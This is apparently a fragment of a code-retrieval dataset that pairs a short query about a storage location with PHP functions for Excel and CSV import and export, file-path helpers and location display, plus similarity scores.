$report_name);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':C'.$row);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('A'.$row.':C'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t$row = $row+2;\n\t\t\t\n\t\t\tif($report_name != 'Equip Problems to Report') { \n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Location');\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Property');\n\t\t\t\t$i=2;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$i=0;\n\t\t\t}\n\t\t\t$x = 0;\n\t\t\t$y = 0;\n\t\t\tforeach($fbody as $fb)\n\t\t\t{ \n\t\t\t\tif($fb->field_type != 'fieldset')\n\t\t\t\t{\n\t\t\t\t\tif($fb->label == ''){\n\t\t\t\t\t} \n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage') \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$fb->label = $fbody[$x]->label.\"-\".$fb->label;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i, $row, $fb->label);\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t} \n\t\t\t\t\t$y++; \n\t\t\t\t\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{ \n\t\t\t\t\tif($y>0) { $x = $x+3;} \n\t\t\t\t} \n\t\t\t\n\t\t\t}\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Name');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Date');\n\t\t\t$row++;\n\t\t}\n\t\t$locname = $this->objFunction->iFindAll(TBL_SERVICE, array('id'=>$objRow->location_id));\n\t\t$propname = $this->objFunction->iFindAll(TBL_JOBLOCATION, array('id'=>$objRow->property_id));\n\t\t$uname = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->submitted_by));\n\t\t$date = $objRow->submission_date; \n\t\t$fdata = json_decode($objRow->form_values, true);\n\t\t$fields = array('db_location','db_property','rid','user_id','timestamp');\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $locname[0]->name);$col++;\t\t\t\t\t\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $propname[0]->job_listing);$col++; \n\t\t\n\t\tforeach($fdata as $key=>$val)\n\t\t{\n\t\t\tif( ($key != 'form_token') && ($key != 'send') ){\n\t\t\t\tif( in_array($key, $fields) === false){ \n\t\t\t\t\t \n\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage' )\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($val == '') {\n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, 0);\n\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse { \n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\n\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telseif(is_array($val)) \n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, implode(',', $val));\t\t \t$col++; \n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\t\t \t\n\t\t\t\t\t\t$col++; \n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} \n\t\t}\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $uname[0]->f_name . ' ' .$uname[0]->l_name);$col++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, date('Y-m-d h:i A', strtotime($date)));\n\t\t$row++;\n\t\t$oldreportname = $report_name;\n\t\t\n\t}\n\t}\n\t//\n }\n\t$rand = rand(1234, 9898);\n\t$presentDate = date('YmdHis');\n\t$fileName = \"report_\" . $rand . \"_\" . $presentDate . \".xlsx\";\n\n\theader('Content-Type: application/vnd.ms-excel');\n\theader('Content-Disposition: attachment;filename=\"'.$fileName.'\"');\n\theader('Cache-Control: max-age=0');\n\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\tob_clean();\n\t$objWriter->save('php://output');\n die();\n }", "public function getActiveSheet()\n {\n return $this->activeSheet;\n }", "public function getIndexFile() {\n return $this->index_file;\n }", "public function importExcel(Request $request)\n {\n $this->validate($request, [\n 'file' => 'file|mimes:zip|max:51200',\n ]);\n\n try {\n // Upload file zip temporary.\n $file = $request->file('file');\n $file->storeAs('temp', $name = $file->getClientOriginalName());\n\n // Temporary path file\n $path = storage_path(\"app/temp/{$name}\");\n $extract = storage_path('app/temp/penduduk/foto/');\n\n // Ekstrak file\n $zip = new \\ZipArchive();\n $zip->open($path);\n $zip->extractTo($extract);\n $zip->close();\n\n $fileExtracted = glob($extract.'*.xlsx');\n\n // Proses impor excell\n (new ImporPendudukKeluarga())\n ->queue($extract . basename($fileExtracted[0]));\n } catch (\\Exception $e) {\n report($e);\n return back()->with('error', 'Import data gagal. '. $e->getMessage());\n }\n\n return redirect()->route('data.penduduk.index')->with('success', 'Import data sukses.');\n }", "public function getFilePath() {\n return base_path() . '/lam.json';\n }", "public function fileExtension(): string\n {\n return '.xlsx';\n }", "public function import_file(){\n\t\t$this->load->model(\"payment/M_pa_payment\",\"payment\");\n\t\t\n\t\t$this->data[\"rs_year_exam\"] = $this->payment->get_year_exam();\n\t\t\n\t\t$this->output(\"Payment/v_import_excel\",$this->data);\n\t}", "function testExcelFile($file_names) {\r\n\tglobal $import_summary;\r\n\tglobal $excel_files_paths;\r\n\t$validated = true;\r\n\tforeach($file_names as $excel_file_name) {\t\r\n\t\tif(!file_exists($excel_files_paths.$excel_file_name)) {\r\n\t\t\trecordErrorAndMessage('Excel Data Reading', '@@ERROR@@', \"Non-Existent File\", \"File '$excel_file_name' in directory ($excel_files_paths) does not exist. File won't be parsed.\", $excel_file_name);\r\n\t\t\t$validated = false;\r\n\t\t}\r\n\t\tif(!preg_match('/\\.xls$/', $excel_file_name)) {\r\n\t\t\trecordErrorAndMessage('Excel Data Reading', '@@ERROR@@', \"Wrong File Extension\", \"File '$excel_file_name' in directory ($excel_files_paths) is not a '.xls' file. File won't be parsed.\", $excel_file_name);\r\n\t\t\t$validated = false;\r\n\t\t}\r\n\t}\r\n\treturn $validated;\r\n}", "public function myFileLocation()\r\n {\r\n $reflection = new ReflectionClass($this);\r\n\r\n return dirname($reflection->getFileName());\r\n }", "public function getData($path){\n\t\t$file = @file_get_contents($path);\t\t\n\t\tif($file === false){\n\t\t\tthrow new \\Exception(\"File Not Found\");\n\t\t}\n\t\treturn $file;\n\t}", "function file_import_execute() {\n\t\t$this->load->library('excel_reader');\n\n\t\t// Set output Encoding.\n\t\t$this->excel_reader->setOutputEncoding('CP1251');\n\n\t\t$this->excel_reader->read($this->session->userdata('file_upload'));\n\n\t\t// Sheet 1\n\t\t$excel = $this->excel_reader->sheets[0] ;\n\n\t\t// is it employee shift template file?\n\t\tif($excel['cells'][1][1] == 'NIK') {\n\n\t\t\t$longshift_nik = $this->m_sync_attendance->sync_final_get_long_shift();\n\t\t\t$this->db->trans_start();\n\n\t\t\tfor($j = 1; $j <= $excel['numCols']; $j++) {\n\n\t\t\t\t$date = $excel['cells'][1][$j+1];\n\t\t\t\t$date_int[$j] = $this->convertexceltime($date);\n\n\t\t\t\t$eod = $this->m_employee->eod_select_last();\n\t\t\t\t$eod_int = strtotime($eod);\n\n\t\t\t\tif($eod_int < $date_int[$j]) {\n\t\t\t\t\t$date_arr[$j] = date(\"Y-m-d\", $date_int[$j]);\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tfor ($i = 2; $i <= $excel['numRows']; $i++) {\n\n\t\t\t\t// cek apakah NIK ada isinya?\n\t\t\t\tif(!empty($excel['cells'][$i][1])) {\n\n\t\t\t\t\t$employee = $this->m_employee->employee_select_by_nik($excel['cells'][$i][1]);\n\t\t\t\t\t$employee_check = $this->m_employee->employee_check($employee['employee_id']);\n\n\t\t\t\t\tif($employee_check) {\n\n\t\t\t\t\t\t$employee_shift['shift_emp_id'] = $employee['employee_id'];\n\n\t\t\t\t\t\tfor($j = 1; $j <= $excel['numCols']+1; $j++) {\n\n\t\t\t\t\t\t\tif(strtotime($employee['tanggal_masuk']) <= $date_int[$j]) {\n\n\t\t\t\t\t\t\t\tif(!empty($date_arr[$j])) {\n\n\t\t\t\t\t\t\t\t\t$employee_shift['shift_date'] = $date_arr[$j];\n\t\t\t\t\t\t\t\t\t$shift_code_check = $this->m_employee_shift->shift_code_check($excel['cells'][$i][$j+1], $this->session->userdata['ADMIN']['hr_plant_code']);\n\n\t\t\t\t\t\t\t\t\tif($shift_code_check) {\n\n\t\t\t\t\t\t\t\t\t\t$employee_shift['shift_code'] = $excel['cells'][$i][$j+1];\n\n\t\t\t\t\t\t\t\t\t\tif($this->m_employee_shift->shift_add_update($employee_shift,$longshift_nik)) {\n\t\t\t\t\t\t\t\t\t\t\t/*$shift = $this->m_employee_shift->shift_code_select($employee_shift['shift_code'], $this->session->userdata['ADMIN']['hr_plant_code']);\n\n\t\t\t\t\t\t\t\t\t\t\t$absent['cabang'] = $this->session->userdata['ADMIN']['hr_plant_code'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['tanggal'] = $employee_shift['shift_date'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['nik'] = $employee['nik'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift'] = $shift['shift_code'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['kd_shift'] = $shift['shift_code'];\n\n if ($this->m_upload_absent->employee_absent_select($absent)==FALSE) {\n \t\t\t\t\t\t\t\t$absent['kd_aktual'] = 'A';\n \t\t\t\t\t\t\t\t$absent['kd_aktual_temp'] = 'A';\n }\n\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_in'] = $shift['duty_on'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_out'] = $shift['duty_off'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_break_in'] = $shift['break_in'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_break_out'] = $shift['break_out'];\n\n \t\t\t $this->m_upload_absent->employee_absent_add_update($absent);*/\n\n\t\t\t\t\t\t\t\t\t\t\t$berhasil = 1;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$this->db->trans_complete();\n\n\t\t\t$object['refresh'] = 7;\n\t\t\t$object['refresh_text'] = 'Data Shift Karyawan berhasil di-upload';\n\t\t\t$object['refresh_url'] = 'employee_shift';\n\n\t\t\t//redirect('member_browse');\n\n\t\t\t$this->template->write_view('content', 'refresh', $object);\n\t\t\t$this->template->render();\n\n\t\t} else {\n\n\t\t\t\t$object['refresh_text'] = 'File Excel yang Anda upload bukan file Shift Karyawan atau file tersebut rusak. Umumnya karena di dalam file diberi warna baik pada teks maupun cell. Harap periksa kembali file Excel Anda.<br><br>SARAN: Coba pilih semua teks dan ubah warna menjadi \"Automatic\". Sebaiknya tidak ada warna pada teks, kolom dan baris dalam file Excel Anda.';\n\t\t\t\t$object['refresh_url'] = 'employee_shift/browse_result';\n\t\t\t\t$object['jag_module'] = $this->jagmodule;\n\t\t\t\t$object['error_code'] = '002';\n\t\t\t\t$object['page_title'] = 'Error '.strtoupper($object['jag_module']['web_module']).': '.$object['jag_module']['web_trans'];\n\t\t\t\t$this->template->write_view('content', 'errorweb', $object);\n\t\t\t\t$this->template->render();\n\n\t\t}\n\n\t}", "private function initExcel()\n {\n $this->savePointer = function () {\n $arrayData = [];\n $arrayData[] = $this->headerRow;\n for ($i = 0; i < count($this->body); $i ++) {\n $arrayData[] = $this->body[$i];\n }\n $this->dataCollection->getActiveSheet()->fromArray($arrayData, NULL,\n 'A1');\n $writer = new Xlsx($this->dataCollection);\n $writer->save($this->reportPath);\n $this->dataCollection->disconnectWorksheets();\n unset($this->dataCollection);\n header('Content-type: application/vnd.ms-excel');\n header(\n 'Content-Disposition: attachment; filename=' . $this->reportTitle .\n '.xls');\n };\n }", "public function filePath() {\n return $this->baseDir() . '/' . $this->fileName();\n }", "public function importXLS($params) {\n\n $objectId = isset($params[\"objectId\"]) ? addText($params[\"objectId\"]) : \"0\";\n $educationSystem = isset($params[\"educationSystem\"]) ? addText($params[\"educationSystem\"]) : \"0\";\n $trainingId = isset($params[\"trainingId\"]) ? (int) $params[\"trainingId\"] : \"0\";\n $objectType = isset($params[\"objectType\"]) ? addText($params[\"objectType\"]) : \"\";\n\n //@veasna\n $type = isset($params[\"type\"]) ? addText($params[\"type\"]) : \"\";\n //\n\n $dates = isset($params[\"CREATED_DATE\"]) ? addText($params[\"CREATED_DATE\"]) : \"\";\n\n $xls = new Spreadsheet_Excel_Reader();\n $xls->setUTFEncoder('iconv');\n $xls->setOutputEncoding('UTF-8');\n $xls->read($_FILES[\"xlsfile\"]['tmp_name']);\n\n for ($iCol = 1; $iCol <= $xls->sheets[0]['numCols']; $iCol++) {\n $field = $xls->sheets[0]['cells'][1][$iCol];\n switch ($field) {\n case \"STUDENT_SCHOOL_ID\":\n $Col_STUDENT_SCHOOL_ID = $iCol;\n break;\n case \"FIRSTNAME\":\n $Col_FIRSTNAME = $iCol;\n break;\n case \"LASTNAME\":\n $Col_LASTNAME = $iCol;\n break;\n case \"FIRSTNAME_LATIN\":\n $Col_FIRSTNAME_LATIN = $iCol;\n break;\n case \"LASTNAME_LATIN\":\n $Col_LASTNAME_LATIN = $iCol;\n break;\n case \"GENDER\":\n $Col_GENDER = $iCol;\n break;\n case \"ACADEMIC_TYPE\":\n $Col_ACADEMIC_TYPE = $iCol;\n break;\n case \"DATE_BIRTH\":\n $Col_DATE_BIRTH = $iCol;\n break;\n case \"BIRTH_PLACE\":\n $Col_BIRTH_PLACE = $iCol;\n break;\n case \"EMAIL\":\n $Col_EMAIL = $iCol;\n break;\n case \"PHONE\":\n $Col_PHONE = $iCol;\n break;\n case \"ADDRESS\":\n $Col_ADDRESS = $iCol;\n break;\n case \"COUNTRY\":\n $Col_COUNTRY = $iCol;\n break;\n case \"COUNTRY_PROVINCE\":\n $Col_COUNTRY_PROVINCE = $iCol;\n break;\n case \"TOWN_CITY\":\n $Col_TOWN_CITY = $iCol;\n break;\n case \"POSTCODE_ZIPCODE\":\n $Col_POSTCODE_ZIPCODE = $iCol;\n break;\n }\n }\n\n for ($i = 1; $i <= $xls->sheets[0]['numRows']; $i++) {\n\n //STUDENT_SCHOOL_ID\n $STUDENT_SCHOOL_ID = isset($xls->sheets[0]['cells'][$i + 2][$Col_STUDENT_SCHOOL_ID]) ? $xls->sheets[0]['cells'][$i + 2][$Col_STUDENT_SCHOOL_ID] : \"\";\n //FIRSTNAME\n\n $FIRSTNAME = isset($xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME]) ? $xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME] : \"\";\n //LASTNAME\n\n $LASTNAME = isset($xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME]) ? $xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME] : \"\";\n //GENDER\n\n $FIRSTNAME_LATIN = isset($xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME_LATIN]) ? $xls->sheets[0]['cells'][$i + 2][$Col_FIRSTNAME_LATIN] : \"\";\n //LASTNAME\n\n $LASTNAME_LATIN = isset($xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME_LATIN]) ? $xls->sheets[0]['cells'][$i + 2][$Col_LASTNAME_LATIN] : \"\";\n //GENDER\n\n $GENDER = isset($xls->sheets[0]['cells'][$i + 2][$Col_GENDER]) ? $xls->sheets[0]['cells'][$i + 2][$Col_GENDER] : \"\";\n //ACADEMIC_TYPE\n\n $ACADEMIC_TYPE = isset($xls->sheets[0]['cells'][$i + 2][$Col_ACADEMIC_TYPE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_ACADEMIC_TYPE] : \"\";\n //DATE_BIRTH\n\n $DATE_BIRTH = isset($xls->sheets[0]['cells'][$i + 2][$Col_DATE_BIRTH]) ? $xls->sheets[0]['cells'][$i + 2][$Col_DATE_BIRTH] : \"\";\n //BIRTH_PLACE\n\n $BIRTH_PLACE = isset($xls->sheets[0]['cells'][$i + 2][$Col_BIRTH_PLACE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_BIRTH_PLACE] : \"\";\n //EMAIL\n\n $EMAIL = isset($xls->sheets[0]['cells'][$i + 2][$Col_EMAIL]) ? $xls->sheets[0]['cells'][$i + 2][$Col_EMAIL] : \"\";\n //PHONE\n\n $PHONE = isset($xls->sheets[0]['cells'][$i + 2][$Col_PHONE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_PHONE] : \"\";\n //ADDRESS\n\n $ADDRESS = isset($xls->sheets[0]['cells'][$i + 2][$Col_ADDRESS]) ? $xls->sheets[0]['cells'][$i + 2][$Col_ADDRESS] : \"\";\n //COUNTRY\n\n $COUNTRY = isset($xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY]) ? $xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY] : \"\";\n //COUNTRY_PROVINCE\n\n $COUNTRY_PROVINCE = isset($xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY_PROVINCE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_COUNTRY_PROVINCE] : \"\";\n //TOWN_CITY\n\n $TOWN_CITY = isset($xls->sheets[0]['cells'][$i + 2][$Col_TOWN_CITY]) ? $xls->sheets[0]['cells'][$i + 2][$Col_TOWN_CITY] : \"\";\n //POSTCODE_ZIPCODE\n\n $POSTCODE_ZIPCODE = isset($xls->sheets[0]['cells'][$i + 2][$Col_POSTCODE_ZIPCODE]) ? $xls->sheets[0]['cells'][$i + 2][$Col_POSTCODE_ZIPCODE] : \"\";\n //error_log($STUDENT_SCHOOL_ID.\" ### LASTNAME: \".$LASTNAME.\" FIRSTNAME:\".$FIRSTNAME);\n\n $IMPORT_DATA['ID'] = generateGuid();\n $IMPORT_DATA['CODE'] = createCode();\n $IMPORT_DATA['ACADEMIC_TYPE'] = addText($ACADEMIC_TYPE);\n\n switch (UserAuth::systemLanguage()) {\n case \"VIETNAMESE\":\n $IMPORT_DATA['FIRSTNAME'] = setImportChartset($FIRSTNAME);\n $IMPORT_DATA['LASTNAME'] = setImportChartset($LASTNAME);\n $IMPORT_DATA['FIRSTNAME_LATIN'] = setImportChartset($FIRSTNAME_LATIN);\n $IMPORT_DATA['LASTNAME_LATIN'] = setImportChartset($LASTNAME_LATIN);\n break;\n default:\n $IMPORT_DATA['FIRSTNAME'] = addText($FIRSTNAME);\n $IMPORT_DATA['LASTNAME'] = addText($LASTNAME);\n $IMPORT_DATA['FIRSTNAME_LATIN'] = setImportChartset($FIRSTNAME_LATIN);\n $IMPORT_DATA['LASTNAME_LATIN'] = setImportChartset($LASTNAME_LATIN);\n break;\n }\n\n $IMPORT_DATA['GENDER'] = addText($GENDER);\n $IMPORT_DATA['BIRTH_PLACE'] = setImportChartset($BIRTH_PLACE);\n $IMPORT_DATA['EMAIL'] = setImportChartset($EMAIL);\n $IMPORT_DATA['PHONE'] = setImportChartset($PHONE);\n $IMPORT_DATA['ADDRESS'] = setImportChartset($ADDRESS);\n $IMPORT_DATA['COUNTRY'] = setImportChartset($COUNTRY);\n $IMPORT_DATA['COUNTRY_PROVINCE'] = setImportChartset($COUNTRY_PROVINCE);\n $IMPORT_DATA['TOWN_CITY'] = setImportChartset($TOWN_CITY);\n $IMPORT_DATA['POSTCODE_ZIPCODE'] = setImportChartset($POSTCODE_ZIPCODE);\n $IMPORT_DATA['STUDENT_SCHOOL_ID'] = setImportChartset($STUDENT_SCHOOL_ID);\n\n if (isset($DATE_BIRTH)) {\n if ($DATE_BIRTH != \"\") {\n $date = str_replace(\"/\", \".\", $DATE_BIRTH);\n if ($date) {\n $explode = explode(\".\", $date);\n $d = isset($explode[0]) ? trim($explode[0]) : \"00\";\n $m = isset($explode[1]) ? trim($explode[1]) : \"00\";\n $y = isset($explode[2]) ? trim($explode[2]) : \"0000\";\n $IMPORT_DATA['DATE_BIRTH'] = $y . \"-\" . $m . \"-\" . $d;\n } else {\n $IMPORT_DATA['DATE_BIRTH'] = \"0000-00-00\";\n }\n }\n } else {\n $IMPORT_DATA['DATE_BIRTH'] = \"0000-00-00\";\n }\n\n $IMPORT_DATA['EDUCATION_SYSTEM'] = $educationSystem;\n //error_log($objectId);\n if ($objectId)\n $IMPORT_DATA['CAMPUS'] = $objectId;\n\n if ($trainingId)\n $IMPORT_DATA['TRAINING'] = $trainingId;\n //$veansa\n if ($type)\n $IMPORT_DATA['TYPE'] = $type;\n //\n \n if ($objectType)\n $IMPORT_DATA['TARGET'] = $objectType;\n \n if ($dates) {\n $IMPORT_DATA['CREATED_DATE'] = setDatetimeFormat($dates);\n } else {\n $IMPORT_DATA['CREATED_DATE'] = getCurrentDBDateTime();\n }\n\n $IMPORT_DATA['CREATED_BY'] = Zend_Registry::get('USER')->CODE;\n if (isset($STUDENT_SCHOOL_ID) && isset($FIRSTNAME) && isset($LASTNAME)) {\n if ($STUDENT_SCHOOL_ID && $FIRSTNAME && $LASTNAME) {\n if (!$this->checkSchoolcodeInTemp($STUDENT_SCHOOL_ID)) {\n self::dbAccess()->insert('t_student_temp', $IMPORT_DATA);\n }\n }\n }\n }\n }", "public function getFilepath()\n {\n return $this->filepath;\n }", "public function getFile()\n {\n if(Input::hasfile('report')){\n \n $files=Input::file('report');\n $file=fopen($files,\"r\");\n \n // dd($file);\n while(($data=fgetcsv($file, 10000,\",\")) !== FALSE)\n {\n // $filename = $this->doSomethingLikeUpload($file);\n \n // Return it's location\n //return $filename;\n foreach($data as $dat){\n $result=BdtdcLanguage::create(array(\n 'name'=>$dat[0]\n ));\n }\n dd($result->toArray());\n }\n \n \n }\n }", "function cares_spreadsheet_importer_get_plugin_base_uri(){\n\treturn plugin_dir_url( __FILE__ );\n}", "public function getFilePath(): string;", "public function getFilePath(): string;", "public function current() {\n return file_get_contents ( $this->_iterableFiles [$this->_position] ['tmpFile'] );\n }", "public static function file() {\r\n\t\treturn __FILE__;\r\n\t}", "function fileGetContents($filename);", "public function run()\n {\n Excel::import(new Countries, base_path('public/countries.xls'));\n }", "abstract public function read($path);", "public function excel()\n { \n return Excel::download(new ReporteGraduados, 'graduado.xlsx');\n }", "public static function loadFile( $file ) {\n $filetype = wp_check_filetype( basename( $file ), null );\n $csv = $filetype['type'] == 'text/csv' ? true : false;\n if( $csv ) {\n $inputFileType = 'CSV';\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n $phpExcel = $objReader->load($file);\n } else {\n $phpExcel = PHPExcel_IOFactory::load( $file );\n }\n $worksheet = $phpExcel->getActiveSheet();\n return $worksheet;\n }", "public function create_php_excel($xls_file_name)\r\n {\r\n $php_excel_reader = new PHPExcel_Reader_Excel2007();\r\n \r\n if (!$php_excel_reader->canRead($xls_file_name))\r\n {\r\n $php_excel_reader = new PHPExcel_Reader_Excel5();\r\n if (!$php_excel_reader->canRead($xls_file_name))\r\n {\r\n die('Excel not existed');\r\n return ;\r\n }\r\n }\r\n \r\n $php_excel = $php_excel_reader->load($xls_file_name);\r\n return $php_excel;\r\n }", "private function onLoadExcel( $excelFileName )\n\t{\n\t\tif ( ! file_exists( $excelFileName ) )\n\t\t{\n\t\t\techo $excelFileName.\" File is not exists!\";\n\t\t\texit;\n\t\t}\n\t\t$objReader = PHPExcel_IOFactory::createReader( 'Excel5' );\n\t\t$this->objPHPExcel = $objReader->load( $excelFileName );\n\t}", "private function excelFormulaSimulation(){\n\n if ( $this->generateFileDebug ){\n $temporaryPath = storage_path('app/excel-formula/');\n if ( !is_dir($temporaryPath) )\n @mkdir($temporaryPath);\n\n // check once again\n if ( !is_dir($temporaryPath) )\n throw new \\Exception(\"Cannot create temporary path for working file @ $temporaryPath\", 500);\n }\n\n $spreadSheet = new Spreadsheet();\n $sheet = $spreadSheet->getActiveSheet();\n foreach ($this->translatedValues as $value){\n $sheet->setCellValue($value['excelCoordinates'], $value['value']);\n }\n // set the formula on row 2\n $sheet->setCellValue(\"A2\", $this->excelFormula);\n\n // get calculated value\n $value = $sheet->getCell('A2')->getCalculatedValue();\n\n if ( $this->generateFileDebug ){\n $filePath = self::generateFilePath($temporaryPath, 'xlsx');\n $writer = new Xlsx($spreadSheet);\n $writer->save($filePath);\n }\n\n return $value;\n }", "private function getCsvData($file_name, $sheet_name = null){//This function is not used\n $objReader = PHPExcel_IOFactory::createReaderForFile($file_name);\n //If specific Sheet is specified then sheet is selected\n if($sheet_name != null){\n $objReader->setLoadSheetsOnly(array($sheet_name));\n }\n $objReader->setReadDataOnly(true);\n \n $objPHPExcel = $objReader->load($file_name);\n \n //Getting the number of rows and columns\n $highestColumm = $objPHPExcel->setActiveSheetIndex(0)->getHighestColumn();\n $highestRow = $objPHPExcel->setActiveSheetIndex(0)->getHighestRow();\n \n \n $fileInfo = array();\n $rowCount = 0;\n \n \n foreach ($objPHPExcel->setActiveSheetIndex(0)->getRowIterator() as $row) {\n $cellIterator = $row->getCellIterator();\n $cellIterator->setIterateOnlyExistingCells(false);\n \n $row = array();\n $columnCount = 0;\n foreach ($cellIterator as $cell) {\n if (!is_null($cell)) {\n \n //This is converting the second column to Date Format\n //TODO:: Make sure date format anywhere is captured properly and not just the second column\n if (($columnCount == 0) && ($rowCount > 0)){\n $value = $cell->getValue();\n $value = date($format = \"Y-m-d\", PHPExcel_Shared_Date::ExcelToPHP($value)); \n \n }else{\n $value = $cell->getCalculatedValue(); \n if(PHPExcel_Shared_Date::isDateTime($cell)) {\n $value = $cell->getValue(); \n $value = date($format = \"Y-m-d\", PHPExcel_Shared_Date::ExcelToPHP($value)); \n }\n }\n \n array_push($row, $value);\n $columnCount++;\n \n }\n }\n /* for debugging or adding css */\n /*if ($rowCount > 15) {\n break;\n }*/\n if ($rowCount > 0)\n {\n //$this->setCsvData($row); \n array_push($fileInfo, $row);\n //print_r($row);\n }else{\n array_push($fileInfo, $row);\n }\n unset($row);\n //array_push($fileInfo, $row);\n $rowCount++;\n }\n\n return $fileInfo;\n }", "public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}" ]
[ "0.68828404", "0.6406192", "0.61857677", "0.597471", "0.59089553", "0.5903269", "0.58860177", "0.58546567", "0.57852834", "0.57716215", "0.5733113", "0.5674389", "0.5569818", "0.5534906", "0.55305296", "0.5490541", "0.5483453", "0.5469372", "0.5468095", "0.5458842", "0.54111886", "0.54111886", "0.54111886", "0.54111886", "0.54083747", "0.5398262", "0.53853226", "0.53571993", "0.53556526", "0.53405637", "0.5336637", "0.5315652", "0.5279646", "0.52568644", "0.5235785", "0.5231863", "0.51909536", "0.5189206", "0.51861966", "0.51823384", "0.5175583", "0.51468813", "0.51428753", "0.51412976", "0.51407236", "0.51384133", "0.51368684", "0.5122679", "0.51222634", "0.5118518", "0.51141435", "0.50948095", "0.50894225", "0.5087087", "0.5073945", "0.5066164", "0.5056281", "0.5055268", "0.50450534", "0.50411606", "0.5033602", "0.50323516", "0.5026438", "0.5020082", "0.50046873", "0.50045544", "0.50043356", "0.50023144", "0.5002029", "0.49970233", "0.4992317", "0.49903116", "0.49838743", "0.4976723", "0.49680653", "0.49658194", "0.4959892", "0.49551544", "0.49550405", "0.4937586", "0.49366352", "0.49365687", "0.49337247", "0.49287707", "0.49263254", "0.4921915", "0.49173307", "0.49173307", "0.4908732", "0.49083972", "0.48982877", "0.48964575", "0.4895989", "0.48927352", "0.48817196", "0.4877404", "0.48769838", "0.4876546", "0.48727837", "0.48715404" ]
0.55960643
12
More Info storing location
public static function articleLocation() { return '/public/articles/'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getLocation(){ return $this->_Location;}", "public function getLocation();", "public function getLocation();", "private function getLocation() {\n }", "function getLocation();", "function showNoticeLocation()\n {\n $id = $this->notice->id;\n\n $location = $this->notice->getLocation();\n\n if (empty($location)) {\n return;\n }\n\n $name = $location->getName();\n\n $lat = $this->notice->lat;\n $lon = $this->notice->lon;\n $latlon = (!empty($lat) && !empty($lon)) ? $lat.';'.$lon : '';\n\n if (empty($name)) {\n $latdms = $this->decimalDegreesToDMS(abs($lat));\n $londms = $this->decimalDegreesToDMS(abs($lon));\n // TRANS: Used in coordinates as abbreviation of north.\n $north = _('N');\n // TRANS: Used in coordinates as abbreviation of south.\n $south = _('S');\n // TRANS: Used in coordinates as abbreviation of east.\n $east = _('E');\n // TRANS: Used in coordinates as abbreviation of west.\n $west = _('W');\n $name = sprintf(\n // TRANS: Coordinates message.\n // TRANS: %1$s is lattitude degrees, %2$s is lattitude minutes,\n // TRANS: %3$s is lattitude seconds, %4$s is N (north) or S (south) depending on lattitude,\n // 